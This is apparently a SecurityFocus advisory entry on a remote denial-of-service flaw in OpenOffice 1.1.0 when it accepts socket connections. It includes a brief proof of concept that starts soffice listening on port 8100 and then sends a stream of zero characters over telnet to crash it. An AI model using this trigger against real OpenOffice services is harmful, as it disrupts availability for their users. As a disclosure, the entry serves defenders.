source: https://www.securityfocus.com/bid/8794/info OpenOffice provides functionality so that it can be configured to listen on a designated network port for incoming communications. OpenOffice is prone to a remote denial of service vulnerability under certain circumstances. The issue presents itself when an attacker connects to a remote OpenOffice session and transmits malicious data to the affected software. The software will apparently fail when handling the malicious data. C:\Programme\oo1.1.0\program> soffice "-accept=socket,host=,port=8100;urp;" =================================================================== C:\Dokumente und Einstellungen\User>telnet 127.0.0.1 8100 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. 0 0 0 0 0 0 0 0 0 0 0 0